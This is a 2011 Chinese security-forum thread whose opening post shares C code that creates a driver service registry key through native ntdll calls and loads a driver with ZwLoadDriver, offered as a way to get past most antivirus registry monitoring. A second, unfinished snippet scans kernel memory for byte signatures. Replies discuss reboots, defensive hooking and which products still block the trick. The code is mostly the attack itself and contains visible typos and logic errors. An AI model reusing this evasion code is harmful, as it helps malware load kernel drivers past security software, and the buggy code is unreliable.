首页
社区
课程
招聘
[分享]过掉大部分、杀软注册表监控[鄙视之]
发表于: 2011-3-27 14:31 8362

[分享]过掉大部分、杀软注册表监控[鄙视之]

2011-3-27 14:31
8362
鄙视某些**哥,自以为自己一副很了不起的样子,谁都不放在眼里,装载驱动部分未放出,因为代码一放出,就可以根据此思路写许多的恶意软件,
编译器:VC6。附件:2楼
注册表自动装载驱动,直接KO你系统,本机上测试了一次,里面还有点代码抄袭的论坛上哪位兄弟的,忘了是谁,在此感谢!抄袭的代码未实现
#include <windows.h>
#include <stdio.h>
#pragma pack(4)
typedef struct _LSA_UNICODE_STRING {  USHORT Length;  USHORT MaximumLength;  PWSTR Buffer;
}UNICODE_STRING,  *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
    ULONG  Length;
    HANDLE  RootDirectory;
    PUNICODE_STRING  ObjectName;
    ULONG  Attributes;
    PVOID  SecurityDescriptor;
    PVOID  SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
WCHAR DrvName[]=L"zzz";
HANDLE DrvKeyHandle;HANDLE DrvHandle;
WCHAR DrvImagePath[]=L"ImagePath";
WCHAR ImagePath[]=L"\\??\\C:\\Windows\\System32\\2.sys";
UNICODE_STRING KeyName;
WCHAR DrvPath[]=L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\";
WCHAR DrvKeyType[]=L"Type";
DWORD DrvKType=1; 
WCHAR PreErrorControl[]=L"ErrorConteol";
DWORD ErrorControl=1;
WCHAR PreStart[]=L"Start";
DWORD Start=0;
WCHAR DisplayName[]=L"DiaplayName";
WCHAR Name[]=L"zzz";
UNICODE_STRING DrvValueName,DrvTypeVaule,ErrName,StName,DisName,DriverPath;
ULONG Disposition;OBJECT_ATTRIBUTES Obj; ULONG AA;
#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }
#define OBJ_CASE_INSENSITIVE    0x00000040L
typedef ULONG (NTAPI *ZW_CREATE_KEY)(PHANDLE KeyHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,ULONG TitleIndex,PUNICODE_STRING Class,ULONG CreateOptions,PULONG Disposition );
typedef ULONG (NTAPI *ZW_SET_VALUE_KEY)(HANDLE  KeyHandle,PUNICODE_STRING  ValueName,ULONG  TitleIndex,ULONG  Type,PVOID  Data,ULONG  DataSize);
typedef ULONG (NTAPI *ZW_LOAD_DRIVER)(PUNICODE_STRING  DriverServiceName);
VOID GetKernelModuleBase(VOID)
{
	HINSTANCE hModule = GetModuleHandleA("Ntdll");
	ZW_CREATE_KEY ZwCreateKey=(ZW_CREATE_KEY)GetProcAddress(hModule,"ZwCreateKey");
    ZW_SET_VALUE_KEY ZwSetValueKey=(ZW_SET_VALUE_KEY)GetProcAddress(hModule,"ZwSetValueKey");
	ZW_LOAD_DRIVER ZwLoadDriver=(ZW_LOAD_DRIVER)GetProcAddress(hModule,"ZwLoadDriver");
	KeyName.Buffer=DrvPath;
	KeyName.Length=wcslen(DrvPath)*sizeof(WCHAR);
	KeyName.MaximumLength=KeyName.Length+sizeof(WCHAR);
	InitializeObjectAttributes( &Obj, &KeyName, OBJ_CASE_INSENSITIVE, NULL, NULL );
	ZwCreateKey(&DrvHandle,KEY_ALL_ACCESS,&Obj,0,NULL,REG_OPTION_NON_VOLATILE,&Disposition);
	KeyName.Buffer=DrvName;
	KeyName.Length=wcslen(DrvName)*sizeof(WCHAR);
	KeyName.MaximumLength=KeyName.Length+sizeof(WCHAR);
	InitializeObjectAttributes( &Obj, &KeyName,OBJ_CASE_INSENSITIVE,DrvHandle, NULL);
	ZwCreateKey(&DrvKeyHandle, KEY_ALL_ACCESS, &Obj, 0, NULL, REG_OPTION_NON_VOLATILE,&Disposition );
	DrvValueName.Buffer=DrvImagePath;
	DrvValueName.Length=wcslen(DrvImagePath)*sizeof(WCHAR);
	DrvValueName.MaximumLength=DrvValueName.Length+sizeof(WCHAR);
	DrvTypeVaule.Buffer=DrvKeyType;
	DrvTypeVaule.Length=wcslen(DrvKeyType)*sizeof(WCHAR);
	DrvTypeVaule.MaximumLength=DrvTypeVaule.Length+sizeof(WCHAR);
	ErrName.Buffer=PreErrorControl;
	ErrName.Length=wcslen(PreErrorControl)*sizeof(WCHAR);
	ErrName.MaximumLength=ErrName.Length+sizeof(WCHAR);
	StName.Buffer=PreStart;
	StName.Length=wcslen(PreStart)*sizeof(WCHAR);
	StName.MaximumLength=StName.Length+sizeof(WCHAR);
	DisName.Buffer=DisplayName;
	DisName.Length=wcslen(DisplayName)*sizeof(WCHAR);
	DisName.MaximumLength=DisName.Length+sizeof(WCHAR);
	ZwSetValueKey(DrvKeyHandle, &DisName, 0, REG_SZ, DisplayName, wcslen( DisplayName ) * sizeof(WCHAR) );
    ZwSetValueKey(DrvKeyHandle,&DrvValueName,0,REG_EXPAND_SZ,ImagePath,wcslen(ImagePath)*sizeof(WCHAR)+sizeof(WCHAR));
	ZwSetValueKey(DrvKeyHandle,&DrvTypeVaule,0,REG_DWORD,&DrvKType,sizeof(DWORD));
	ZwSetValueKey(DrvKeyHandle, &ErrName, 0, REG_DWORD, &ErrorControl, sizeof(DWORD) );
	ZwSetValueKey(DrvKeyHandle, &StName, 0, REG_DWORD, &Start, sizeof(DWORD) );
	DriverPath.Buffer=ImagePath;
	DriverPath.Length=wcslen(ImagePath)*sizeof(WCHAR);
	DriverPath.Length=DriverPath.Length+sizeof(WCHAR);
    ZwLoadDriver(&DriverPath);
	FreeLibrary(hModule);
}

抄袭的代码未实现,大家自己实现:
#include<windows.h>
#include<stdio.h>
#define SystemModuleInformation 11
typedef ULONG (WINAPI *ZW_QUERY_SYSTEM_INFORMATION)(DWORD, PVOID, ULONG, PULONG);
typedef ULONG (WINAPI *RTL_COMPARE_UNICODE_STRING)(PUNICODE_STRING  String1,PUNICODE_STRING  String2,BOOLEAN  CaseInSensitive);
typedef struct _SYSTEM_MODULE_INFORMATION {
     ULONG Reserved[2];
     PVOID Base;
     ULONG Size;
     ULONG Flags;
     USHORT Index;
     USHORT Unknown;
     USHORT LoadCount;
     USHORT ModuleNameOffset;
     CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

ULONG ModuleSize;
RTL_COMPARE_UNICODE_STRING RtlCompareUnicodeString;
void GetKernelBase(void)
{
	ULONG code1_sp2=0x0000c468,code2_sp2=0xb4c06800,code3_sp2=0x77e8804d,code4_sp2=0x33fff707;
	ULONG AZ;ULONG *Buf;ULONG as;SYSTEM_MODULE_INFORMATION *Module;
	ULONG NtoskrnlBase;ULONG NtoskrnlEndBase;ULONG CurAddr;ULONG i; ULONG RetAddr; 
	HINSTANCE hModule = GetModuleHandleA("Ntdll");
	ZW_QUERY_SYSTEM_INFORMATION ZwQuerySystemInformation = (ZW_QUERY_SYSTEM_INFORMATION)GetProcAddress(hModule, "ZwQuerySystemInformation");
	AZ=ZwQuerySystemInformation(SystemModuleInformation,&ModuleSize,0,&ModuleSize);
    RtlCompareUnicodeString=(RTL_COMPARE_UNICODE_STRING)GetProcAddress(hModule,"RtlCompareUnicodeString");
	if(!AZ);
	else 
		if(!(Buf=(ULONG*)VirtualAllocEx(GetCurrentProcess(),NULL,ModuleSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE)))
     ZwQuerySystemInformation(SystemModuleInformation,Buf, ModuleSize , 0);
	 Module=(SYSTEM_MODULE_INFORMATION*)((ULONG*)Buf+1);
	 NtoskrnlEndBase=(ULONG)Module->Base+(ULONG)Module->Size;//问题
	 NtoskrnlBase=(ULONG)Module->Base;//问题
	 CurAddr=NtoskrnlBase;
	 free(Buf);
	 for(i=0x80000000;i<=0xa0000000;i++)
	 {
		 printf("开始搜索\n");
		 if((*((ULONG *)i)==code1_sp2)&&(*((ULONG *)(i+4))==code2_sp2)&&(*((ULONG *)(i+8))==code3_sp2)&&(((ULONG*)(i+12))==code4_sp2)) 
		 {
             RetAddr=i;
			 printf("%x",RetAddr);
		 }
	 }
	 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (14)
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
2
附件啊啊发:
上传的附件:
2011-3-27 14:31
0
雪    币: 130
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
学习一下,做个标记
2011-3-28 11:24
0
雪    币: 308
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
学习下,做个标记
2011-3-28 16:43
0
雪    币: 33
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
怎么会垃圾呢
2011-3-28 17:38
0
雪    币: 130
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
学习下,做个标记
2011-3-28 20:45
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
7
鄙视某些人
2011-4-1 12:29
0
雪    币: 306
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
这个方法,需要重启吧
2011-4-1 13:03
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
9
里面有EXE,下载运行一下就知道是否需要重启料,另外,装载驱动部分未放出,参考:
CodeP那上面网站上面的,装载驱动是和杀软一个级别,你去哪网站搜索一下
2011-4-1 13:05
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
10
好像搜索关键字ZwLoadDriver这个就可以了
2011-4-1 13:06
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
11
直接HOOK,你看下堕落天才的文章SSDT对抗InlineHOOK,直接来个goto语句无限HOOK,就可以防止装载驱动,把恢复HOOK去掉
好像系统就挂了,我试验过
ZwLoadDriver
2011-4-1 13:09
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
12
可惜驱动这一块我才学了一点,否则可以看看你这个文章了
2011-4-1 13:27
0
雪    币: 25
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
哎 ,,360还是依然有点强大,楼主的过不了
2011-4-1 13:42
0
雪    币: 195
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
动态加载 内核注册表操作函数 设置注册表注册驱动
然后ZwLoadDriver加载驱动.
用的KiDebug的方法过监控
StName.MaximumLength=StName.Length+sizeof(WCHAR);
你干嘛鄙视人家....
2011-4-1 14:12
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
15
我那文章关键点不是MaximumLength加2,而是Length加2。

即便过了注册表监控,ZwLoadDriver也是会拦的。
2011-4-1 14:59
0
游客
登录 | 注册 方可回帖
返回
//